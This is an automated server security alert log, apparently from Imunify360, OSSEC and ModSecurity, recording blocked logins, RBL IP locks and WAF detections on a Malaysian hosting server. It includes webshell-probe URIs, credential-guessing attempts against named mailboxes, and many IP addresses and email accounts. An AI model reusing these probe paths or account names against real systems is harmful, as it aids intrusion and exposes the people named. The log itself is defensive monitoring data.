abuser: 202.47.53.129
country_id: 1168579
domain: nmahir.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nmahir.com/index-4.html HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.140
country_id: 1880251
domain: nmahir.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nmahir.com/layout.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.130
country_id: 1880251
domain: nmahir.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nmahir.com/style.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 13:43:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:41063: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/img/video.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 13:45:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:44793: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.242.78.10
country_id: 3469034
description:
Jan 16 13:47:03 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.242.78.10 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 13:48:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:61542: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 113.211.117.252
country_id: 1733045
description:
[2026-01-16 13:48:08 +0800] info [webmaild] 113.211.117.252 - admin@nexuscollection.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.187
country_id: 3469034
description:
Jan 16 13:49:40 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.187 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 167.249.37.9
country_id: 3469034
description:
Jan 16 13:49:16 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 167.249.37.9 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.187.163.187
country_id: 732800
description:
Jan 16 13:49:14 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.187.163.187 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.236.15.67
country_id: 3469034
description:
Jan 16 13:49:17 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.236.15.67 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.122
country_id: 1269750
description:
Jan 16 13:49:25 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.122 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.229.98.76
country_id: 2510769
description:
Jan 16 13:49:47 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.229.98.76 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 113.211.117.252
country_id: 1733045
description:
[2026-01-16 13:49:23 +0800] info [webmaild] 113.211.117.252 - admin@nexuscollection.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.190.204.216
country_id: 3469034
description:
Jan 16 13:49:34 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.190.204.216 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.197
country_id: 3469034
description:
Jan 16 13:49:46 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.197 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.85.105.128
country_id: 3469034
description:
Jan 16 13:49:58 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.85.105.128 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.229.98.76
country_id: 2510769
description:
Jan 16 13:50:00 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.229.98.76 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.197
country_id: 3469034
description:
Jan 16 13:50:01 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.197 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.196.111.46
country_id: 798544
description:
Jan 16 13:50:17 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.196.111.46 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 168.91.37.29
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:13-51.168.91.37.29||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.60
country_id: 1269750
description:
Jan 16 13:51:50 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.60 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.7.121.33
country_id: 1210997
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/neck/14/703/1475140 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.60
country_id: 1269750
description:
Jan 16 13:52:01 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.60 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 210.16.91.36
country_id: 1269750
description:
Jan 16 13:56:03 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 210.16.91.36 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.110.83.228
country_id: 1814991
description:
2026-01-16 13:59:14 dovecot_login authenticator failed for H=(ikrmi) [171.110.83.228]:53068: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-16 14:00:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58168: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 171.22.234.180
country_id: 3175395
description:
Jan 16 14:00:12 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 171.22.234.180 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.22.87.7
country_id: 3469034
description:
Jan 16 14:00:33 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.22.87.7 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - admin@nexuscollection.com [01/16/2026:06:01:11 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: admin@nexuscollection.com


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jan 16 14:02:20 sv3 kernel: imap[642734]: segfault at 0 ip 00005558647b942e sp 00007ffdba12c1f0 error 4 in imap[5558647a3000+30000] likely on CPU 0 (core 0, socket 0)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 113.211.117.252
country_id: 1733045
description:
[2026-01-16 14:03:40 +0800] info [webmaild] 113.211.117.252 - admin@nexuscollection.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 113.211.117.252
country_id: 1733045
description:
[2026-01-16 14:03:59 +0800] info [webmaild] 113.211.117.252 - admin@nexuscollection.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 64.89.163.245
description:
2026-01-16 14:05:45 H=([64.89.163.245]) [64.89.163.245]:51862 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<busan@ecck.or.kr> rejected RCPT <steven@oxbold.com>: SPF: 64.89.163.245 is not allowed to send mail from ecck.or.kr


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.11.141.74
country_id: 298795
description:
Jan 16 14:07:00 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.11.141.74 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.11.141.74
country_id: 298795
description:
2026-01-16 14:07:02 dovecot_plain authenticator failed for H=(disondas) [5.11.141.74]:54492: 535 Incorrect authentication data (set_id=kokfoh.liau@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.248.243.181
country_id: 2542007
description:
Jan 16 14:10:10 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.248.243.181 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.248.243.181
country_id: 2542007
description:
2026-01-16 14:10:12 dovecot_plain authenticator failed for H=(adistage) [41.248.243.181]:38646: 535 Incorrect authentication data (set_id=tom.cheong@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.73.188.251
country_id: 290557
description:
Jan 16 14:11:47 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.73.188.251 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.35.150.58
country_id: 2017370
description:
Jan 16 14:11:49 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.35.150.58 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.73.188.251
country_id: 290557
description:
2026-01-16 14:11:49 dovecot_plain authenticator failed for H=(shile) [91.73.188.251]:50538: 535 Incorrect authentication data (set_id=jeffrey.hong@tujusetia.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.35.150.58
country_id: 2017370
description:
2026-01-16 14:11:51 dovecot_login authenticator failed for H=([178.35.150.58]) [178.35.150.58]:56344: 535 Incorrect authentication data (set_id=info@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 14:11:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:41068: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.129.67
country_id: 99237
description:
Jan 16 14:11:35 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.129.67 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.129.67
country_id: 99237
description:
2026-01-16 14:11:37 dovecot_plain authenticator failed for H=(radproush) [65.20.129.67]:56904: 535 Incorrect authentication data (set_id=peinee.seh@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.78.151.234
country_id: 1269750
description:
Jan 16 14:12:39 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.78.151.234 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.151.234
country_id: 1269750
description:
2026-01-16 14:12:41 dovecot_plain authenticator failed for H=(healy) [182.78.151.234]:51642: 535 Incorrect authentication data (set_id=shirley.wong@tujusetia.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 14:13:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:45401: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.73.188.251
country_id: 290557
description:
Jan 16 14:14:58 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.73.188.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.73.188.251
country_id: 290557
description:
2026-01-16 14:15:00 dovecot_plain authenticator failed for H=(viseures) [91.73.188.251]:59820: 535 Incorrect authentication data (set_id=richard.tan@tujusetia.my)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 27.125.246.184
country_id: 1733045
description:
[2026-01-16 14:16:08 +0800] info [webmaild] 27.125.246.184 - cmchin@chs.com.my "GET /cpsess6264009170/3rdparty/roundcube/?_task=mail&_frame=1&_mbox=INBOX&_uid=10479&_part=2&_action=get&_extwin=1 HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [27.125.246.211] != Current IP Address [27.125.246.184]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 14:16:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:61636: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.82.97.51
country_id: 1814991
description:
Jan 16 14:17:48 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.82.97.51 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.82.97.51
country_id: 1814991
description:
2026-01-16 14:17:50 dovecot_login authenticator failed for H=([223.82.97.51]) [223.82.97.51]:37825: 535 Incorrect authentication data (set_id=ahmad.asif@acburn.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.108
country_id: 3469034
description:
Jan 16 14:17:13 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.108 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 27.125.246.184
country_id: 1733045
description:
[2026-01-16 14:17:29 +0800] info [webmaild] 27.125.246.184 - cmchin@chs.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.87
country_id: 3469034
description:
Jan 16 14:17:46 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.87 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.87
country_id: 3469034
description:
Jan 16 14:18:01 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.87 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 50.3.136.225
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:14-19.50.3.136.225||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 160.154.84.190
country_id: 2287781
description:
Jan 16 14:20:33 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 160.154.84.190 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.154.84.190
country_id: 2287781
description:
2026-01-16 14:20:35 dovecot_login authenticator failed for H=([160.154.84.190]) [160.154.84.190]:41081: 535 Incorrect authentication data (set_id=safuddin@ajplantations.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.118.35.3
country_id: 1269750
description:
Jan 16 14:21:12 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.118.35.3 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 113.211.117.252
country_id: 1733045
description:
[2026-01-16 14:21:37 +0800] info [webmaild] 113.211.117.252 - admin@nexuscollection.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.140.123.145
country_id: 3469034
description:
Jan 16 14:21:42 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.140.123.145 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.78.151.234
country_id: 1269750
description:
Jan 16 14:22:25 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.78.151.234 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.151.234
country_id: 1269750
description:
2026-01-16 14:22:27 dovecot_plain authenticator failed for H=(poageosic) [182.78.151.234]:54138: 535 Incorrect authentication data (set_id=info@u-net.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.17
country_id: 3469034
description:
Jan 16 14:23:08 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.168.240
country_id: 3469034
description:
Jan 16 14:23:49 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.168.240 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.168.240
country_id: 3469034
description:
Jan 16 14:24:04 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.168.240 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-16 14:24:18 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET /cpsess6825531216/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 130.12.182.190
country_id: 2750405
description:
2026-01-16 14:24:20 166975 [Warning] Aborted connection 166975 to db: 'unconnected' user: 'unauthenticated' host: '130.12.182.190' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.99
country_id: 3175395
description:
Jan 16 14:24:21 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.99 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-16 14:25:03 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "POST /cpsess9182244287/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.8.251.126
country_id: 3469034
description:
Jan 16 14:25:36 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.8.251.126 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-16 14:26:04 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "POST /cpsess9182244287/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 39.36.213.219
country_id: 1168579
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/image/cache/catalog/Image/Products/Accessories/Comparison Stretch Film - 2A-150x150.JPG HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-16 14:27:05 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "POST /cpsess9182244287/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-16 14:28:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58194: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 69.160.160.60
country_id: 6252001
domain: acburn.com.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/92.0.4515.107 Safari/537.36||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.128.196
country_id: 3469034
description:
Jan 16 14:28:40 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.128.196 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 27.125.246.229
country_id: 1733045
description:
[2026-01-16 14:30:40 +0800] info [webmaild] 27.125.246.229 - cmchin@chs.com.my "POST /cpsess6264009170/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [27.125.246.184] != Current IP Address [27.125.246.229]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.39.142.9
country_id: 3469034
description:
Jan 16 14:31:57 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.39.142.9 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 34.23.122.194
country_id: 6252001
domain: dsc-expat.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/144.0.0.0 Safari/537.36||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.39.142.9
country_id: 3469034
description:
Jan 16 14:32:05 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.39.142.9 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.50
country_id: 690791
description:
2026-01-16 14:32:11 H=([45.144.212.50]) [45.144.212.50]:52970 F=<arm@da-desk.com> rejected RCPT <mustapa@astlog.com.my>: SPF: 45.144.212.50 is not allowed to send mail from da-desk.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.44.210
country_id: 2300660
description:
Jan 16 14:32:32 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.44.210 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 171.110.83.5
country_id: 1814991
description:
Jan 16 14:33:10 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 171.110.83.5 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.110.83.5
country_id: 1814991
description:
2026-01-16 14:33:12 dovecot_login authenticator failed for H=(yboqw) [171.110.83.5]:63842: 535 Incorrect authentication data (set_id=hr)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 71.190.178.207
country_id: 6252001
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/speed/18/329/1836442 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.50
country_id: 690791
description:
2026-01-16 14:33:30 H=([45.144.212.50]) [45.144.212.50]:57164 F=<arm@da-desk.com> rejected RCPT <astbki@astlog.com.my>: SPF: 45.144.212.50 is not allowed to send mail from da-desk.com


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.191.159.134
country_id: 1168579
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/guzzlehttp/psr7/src/DroppingStream.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/images/press.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.93.155.108
country_id: 1269750
description:
Jan 16 14:35:05 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.93.155.108 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.93.155.108
country_id: 1269750
description:
2026-01-16 14:35:07 dovecot_plain authenticator failed for H=(jtfwotu5y8tvcsuds0wdr76vt3hr) [59.93.155.108]:53973: 535 Incorrect authentication data (set_id=2096jasonkua@printspecsolution.com)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-16 14:35:15 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET /cpsess6825531216/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 198.251.61.45
country_id: 6251999
description:
2026-01-16 14:36:34 dovecot_plain authenticator failed for H=(cgjjuoh10wdfz6mc56touum1q) [198.251.61.45]:42753: 535 Incorrect authentication data (set_id=joshuaooi@ms-chemicals.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 14:37:56 H=([45.144.212.242]) [45.144.212.242]:57933 F=<no_reply@admin.com> rejected RCPT <enquiry@nexuscollection.com>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 14:38:06 H=([45.144.212.242]) [45.144.212.242]:60838 F=<no_reply@admin.com> rejected RCPT <enquiry@symphony-led.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.135.198.27
country_id: 2510769
description:
Jan 16 14:39:15 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.135.198.27 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.66
country_id: 3469034
description:
Jan 16 14:39:19 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.66 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.130.6
country_id: 3469034
description:
Jan 16 14:39:43 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.130.6 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
